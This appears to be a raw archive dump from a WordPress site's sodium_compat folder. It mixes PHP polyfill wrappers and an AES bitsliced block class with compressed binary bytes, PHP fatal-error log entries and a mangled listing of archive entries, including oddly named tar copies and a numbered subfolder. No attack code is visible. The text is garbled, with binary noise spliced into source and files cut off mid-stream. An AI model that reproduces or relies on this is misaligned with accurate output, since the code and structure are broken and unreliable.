(!is_callable('sodium_crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_secretbox( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('sodium_crypto_secretbox_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen() * @return string * @throws Exception */ function sodium_crypto_secretbox_keygen() { return ParagonIE_Sodium_Compat::crypto_secretbox_keygen(); } } if (!is_callable('sodium_crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $ciphertext * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) { /** * @param string $key * @return array * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) { /** * @param string $state * @param string $message * @param string $additional_data * @param int $tag * @return string * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $message, $additional_data = '', $tag = 0 ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push( $state, $message, $additional_data, $tag ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) { /** * @param string $header * @param string $key * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) { /** * @param string $state * @param string $ciphertext * @param string $additional_data * @return bool|array{0: string, 1: int} * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $ciphertext, $additional_data = '' ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull( $state, $ciphertext, $additional_data ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) { /** * @param string $state * @return void * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) { /** * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_shorthash( $message, #[\SensitiveParameter] $key = '' ) { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('sodium_crypto_shorthash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen() * @return string * @throws Exception */ function sodium_crypto_shorthash_keygen() { return ParagonIE_Sodium_Compat::crypto_shorthash_keygen(); } } if (!is_callable('sodium_crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_detached( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('sodium_crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $public_key * @return string|bool */ function sodium_crypto_sign_open($signedMessage, $public_key) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_sign_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair); } } if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair); } } if (!is_callable('sodium_crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('sodium_crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $public_key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_verify_detached($signature, $message, $public_key) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key); } } if (!is_callable('sodium_crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $length * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream( $length, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key); } } if (!is_callable('sodium_crypto_stream_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_keygen(); } } if (!is_callable('sodium_crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } require_once dirname(__FILE__) . '/stream-xchacha20.php'; if (!is_callable('sodium_hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @param string $ignore * @return string * @throws SodiumException * @throws TypeError */ function sodium_hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { return ParagonIE_Sodium_Compat::hex2bin($string, $ignore); } } if (!is_callable('sodium_increment')) { /** * @see ParagonIE_Sodium_Compat::increment() * @param string $string * @return void * @throws SodiumException * @throws TypeError */ function sodium_increment( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::increment($string); } } if (!is_callable('sodium_library_version_major')) { /** * @see ParagonIE_Sodium_Compat::library_version_major() * @return int */ function sodium_library_version_major() { return ParagonIE_Sodium_Compat::library_version_major(); } } if (!is_callable('sodium_library_version_minor')) { /** * @see ParagonIE_Sodium_Compat::library_version_minor() * @return int */ function sodium_library_version_minor() { return ParagonIE_Sodium_Compat::library_version_minor(); } } if (!is_callable('sodium_version_string')) { /** * @see ParagonIE_Sodium_Compat::version_string() * @return string */ function sodium_version_string() { return ParagonIE_Sodium_Compat::version_string(); } } if (!is_callable('sodium_memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $string1 * @param string $string2 * @return int * @throws SodiumException * @throws TypeError */ function sodium_memcmp( #[\SensitiveParameter] $string1, #[\SensitiveParameter] $string2 ) { return ParagonIE_Sodium_Compat::memcmp($string1, $string2); } } if (!is_callable('sodium_memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $string * @return void * @throws SodiumException * @throws TypeError * * @psalm-suppress ReferenceConstraintViolation */ function sodium_memzero( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::memzero($string); } } if (!is_callable('sodium_pad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $unpadded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_pad( #[\SensitiveParameter] $unpadded, $block_size ) { return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true); } } if (!is_callable('sodium_unpad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $padded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_unpad( #[\SensitiveParameter] $padded, $block_size ) { return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true); } } if (!is_callable('sodium_randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws Exception */ function sodium_randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('sodium_randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws Exception */ function sodium_randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if (!is_callable('sodium_randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int * @throws Exception */ function sodium_randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } PKt#[Gova/php84compat.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/php84compat.php000064400000007110150552641110023424 0ustar00UХ"9)et" 44є3 DD̶k,ToB7a:CUN E)lA !5H" SKjkp?r gF $LA,3= C$qv!Far HT^tf)I:`|lyw[ʍaZ~c,q66gff`N̆]U٨N~fFa.?yrVV wĂ)g0+'#LU!QDN#tK*Sy@ͣG9(1/弲+gm("no߈sabPZR3R. aH]"hRl7)ސ{$D+}/ /;(CGWfD~o9Mx<_)j/-i(GMh))dsӲF5{gy" */ protected $values = array(); /** * @var int */ protected $size; /** * @param int $size */ public function __construct($size = 8) { parent::__construct($size); $this->size = $size; $this->values = array_fill(0, $size, 0); } /** * @return self */ public static function init() { return new self(8); } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * * @psalm-suppress MethodSignatureMismatch */ #[ReturnTypeWillChange] public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); /** @var array $keys */ $obj = new ParagonIE_Sodium_Core_AES_Block(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } if (is_null($offset)) { $this->values[] = $value; } else { $this->values[$offset] = $value; } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return int * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->values[$offset])) { $this->values[$offset] = 0; } return (int) ($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { $out = array(); foreach ($this->values as $v) { $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT); } return array(implode(', ', $out)); /* return array(implode(', ', $this->values)); */ } /** * @param int $cl low bit mask * @param int $ch high bit mask * @param int $s shift * @param int $x index 1 * @param int $y index 2 * @return self */ public function swapN($cl, $ch, $s, $x, $y) { static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX; $a = $this->values[$x] & $u32mask; $b = $this->values[$y] & $u32mask; // (x) = (a & cl) | ((b & cl) << (s)); $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask); // (y) = ((a & ch) >> (s)) | (b & ch); $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch); return $this; } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap2($x, $y) { return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap4($x, $y) { return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap8($x, $y) { return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y); } /** * @return self */ public function orthogonalize() { return $this ->swap2(0, 1) ->swap2(2, 3) ->swap2(4, 5) ->swap2(6, 7) ->swap4(0, 2) ->swap4(1, 3) ->swap4(4, 6) ->swap4(5, 7) ->swap8(0, 4) ->swap8(1, 5) ->swap8(2, 6) ->swap8(3, 7); } /** * @return self */ public function shiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[$i] = ( ($x & 0x000000FF) | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6) | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4) | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2) ) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $this; } /** * @param int $x * @return int */ public static function rotr16($x) { return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16); } /** * @return self */ public function mixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0); $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1); $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2); $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3); $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4); $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5); $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6); $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7); return $this; } /** * @return self */ public function inverseMixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5); $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6); $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7); $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7); $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6); $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7); $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7); $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7); return $this; } /** * @return self */ public function inverseShiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i]; $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & ( ($x & 0x000000FF) | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6) | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4) | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2) ); } return $this; } } error_log000064400000003237150552713060006472 0ustar00[18-May-2025 06:12:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [05-Jun-2025 01:08:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [17-Jun-2025 09:39:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [28-Jun-2025 09:09:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [11-Jul-2025 10:12:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 PK$L[}BAAlib/namespaced.phpnu[PK$L[xAAlib/constants.phpnu[PK$L[B*lib/php84compat_const.phpnu[PK$L[Ulib/php72compat.phpnu[PK$L[elib/php72compat_const.phpnu[PK$L[.cSlib/stream-xchacha20.phpnu[PK$L[l56k6klib/sodium_compat.phpnu[PK$L[/f+HH1Wlib/php84compat.phpnu[PK$L[Ȗ elib/error_lognu[PK%L[o;))Wlib/ristretto255.phpnu[PK%L[ oqRRvnamespaced/File.phpnu[PK%L[rVVwnamespaced/Crypto.phpnu[PK%L[cLVV,xnamespaced/Compat.phpnu[PK%L[ډPpp"xnamespaced/Core/Poly1305/State.phpnu[PK%L[pinӈ"ynamespaced/Core/Poly1305/error_lognu[PK%L[9 bbcnamespaced/Core/Salsa20.phpnu[PK%L[Y[yffnamespaced/Core/XChaCha20.phpnu[PK%L[2VddÀnamespaced/Core/HSalsa20.phpnu[PK%L[m\\snamespaced/Core/Util.phpnu[PK%L[t=2``namespaced/Core/X25519.phpnu[PK%L[C4Htt$namespaced/Core/ChaCha20/IetfCtx.phpnu[PK%L[(ll namespaced/Core/ChaCha20/Ctx.phpnu[PK%L[ d"""Enamespaced/Core/ChaCha20/error_lognu[PK%L[Cbbnamespaced/Core/BLAKE2b.phpnu[PK%L[Bnn!0namespaced/Core/Curve25519/Fe.phpnu[PK%L[IM~~)namespaced/Core/Curve25519/Ge/Precomp.phpnu[PK%L[rxx&Ʃnamespaced/Core/Curve25519/Ge/P1p1.phpnu[PK%L[tt$namespaced/Core/Curve25519/Ge/P3.phpnu[PK%L[W<||(\namespaced/Core/Curve25519/Ge/Cached.phpnu[PK%L[ptt$0namespaced/Core/Curve25519/Ge/P2.phpnu[PK%L[Γ'namespaced/Core/Curve25519/Ge/error_lognu[PK%L[9&F?ll namespaced/Core/Curve25519/H.phpnu[PK%L[^33$namespaced/Core/Curve25519/error_lognu[PK%L[bbnamespaced/Core/SipHash.phpnu[PK%L[ @ddnamespaced/Core/ChaCha20.phpnu[PK%L[hhAnamespaced/Core/Curve25519.phpnu[PK%L[|>bbnamespaced/Core/Ed25519.phpnu[PK%L['?ffnamespaced/Core/HChaCha20.phpnu[PK%L[WͤAddWnamespaced/Core/Xsalsa20.phpnu[PK%L[Mtlddnamespaced/Core/Poly1305.phpnu[PK%L[D6S\\namespaced/Core/error_lognu[PK%L[Ц.ZBB`namespaced/index.phpnu[PK&L[1l[urrnamespaced/error_lognu[PK&L[-44vova/ChaCha20.tarnu[PK&L[y  ova/AEGIS.tar.gznu[PK&L[%g_ova/BLAKE2b.php.php.tar.gznu[PK&L[.  ova/Poly1305.tar.gznu[PK&L[{Ŧova/File.php.php.tar.gznu[PK&L[,#.ova/ChaCha20.tar.gznu[PK&L[h5iM4ova/constants.php.tarnu[PK&L[ffMova/BLAKE2b.php.tarnu[PK&L['?`ova/ristretto255.php.php.tar.gznu[PK&L[& ?ova/error_log.tarnu[PK&L[96ova/Curve25519.php.tarnu[PK&L[ova/constants.php.php.tar.gznu[PK&L[{>> ova/autoload-php7.php.php.tar.gznu[PK&L[\31ova/Compat.php.tarnu[PK&L[aB%%sm ova/ChaCha20.zipnu[PK'L[XY1F=F=i ova/lib.tar.gznu[PK'L[ ,݌:: ova/ChaCha20.php.tarnu[PK'L[uDibb ova/SipHash.php.php.tar.gznu[PK'L[2:W:Wg ova/index.php.php.tar.gznu[PK'L[o1JJ\ ova/index.php.tarnu[PK'L[ g *ova/ChaCha20.php.php.tar.gznu[PK'L[G-UUFova/Curve25519.zipnu[PK'L[MռLL<ova/Ed25519.php.tarnu[PK(L[=LSova/namespaced.php.php.tar.gznu[PK(L[ܗWDD Vova/AEGIS.tarnu[PK(L[RQ$ ova/namespaced.php.tarnu[PK(L[fK=ova/Crypto.php.tarnu[PK(L[~9ova/File.php.tarnu[PK(L[iv,aova/Base64.tar.gznu[PK(L["iova/Poly1305.zipnu[PK(L[ϺDD,qova/Poly1305.tarnu[PK(L[{ lova/lib.tarnu[PK(L[U.kKova/error_log.tar.gznu[PK(L[eHHaova/Base64.tarnu[PK(L[2ova/Salsa20.php.php.tar.gznu[PK(L[fG\ova/Crypto.php.php.tar.gznu[PK(L[5Vova/Curve25519.tar.gznu[PK(L[w@@ ova/Core.tarnu[PK(L[%4jxxova/Util.php.tarnu[PK(L[ ppova/Curve25519.tarnu[PK(L[X'((Rova/Salsa20.php.tarnu[PK(L[~V!ova/Util.php.php.tar.gznu[PK(L[TR R 6ova/Core.tar.gznu[PK(L[ŕ [Cova/Ed25519.php.php.tar.gznu[PK(L[ u +Pova/error_lognu[PK(L[Q1\\h>LICENSEnu[PK(L[k=Asrc/PHP52/SplFixedArray.phpnu[PK(L[ٷ;; ZRsrc/File.phpnu[PK(L[l#src/SodiumException.phpnu[PK(L[^$src/Crypto.phpnu[PK(L[1src/Compat.phpnu[PK)L[{[[@|!src/Core/XSalsa20.phpnu[PK)L[k &p2p2!src/Core/Poly1305/State.phpnu[PK)L[JVO||!src/Core/Poly1305/error_lognu[PK)L[0) ) b!src/Core/Salsa20.phpnu[PK)L[* * !src/Core/XChaCha20.phpnu[PK)L[o|U|U?!src/Core/Ristretto255.phpnu[PK)L[YY?"src/Core/HSalsa20.phpnu[PK)L[R>ppM"src/Core/Util.phpnu[PK)L[#AU$$޾"src/Core/X25519.phpnu[PK)L[7A "src/Core/AEGIS256.phpnu[PK)L[Ц.ZBB^"src/Core/index.phpnu[PK)L[.]L* * @5$src/Core/AEGIS/State128L.phpnu[PK)L[.}}U$src/Core/AEGIS/State256.phpnu[PK*L["~o$src/Core/ChaCha20/860761/index.phpnu[PK*L[o$src/Core/ChaCha20/index.phpnu[PK*L[Ә**p$src/Core/ChaCha20/IetfCtx.phpnu[PK*L[CDffu$src/Core/ChaCha20/Ctx.phpnu[PK*L["FVxxA$src/Core/ChaCha20/error_lognu[PK*L[e^^$src/Core/BLAKE2b.phpnu[PK*L[z-y9TT$src/Core/AEGIS128L.phpnu[PK*L[CUg  b%src/Core/Curve25519/Fe.phpnu[PK*L[rr" %src/Core/Curve25519/Ge/Precomp.phpnu[PK*L[%src/Core/Curve25519/Ge/P1p1.phpnu[PK*L["M%src/Core/Curve25519/Ge/P3.phpnu[PK*L[rB B 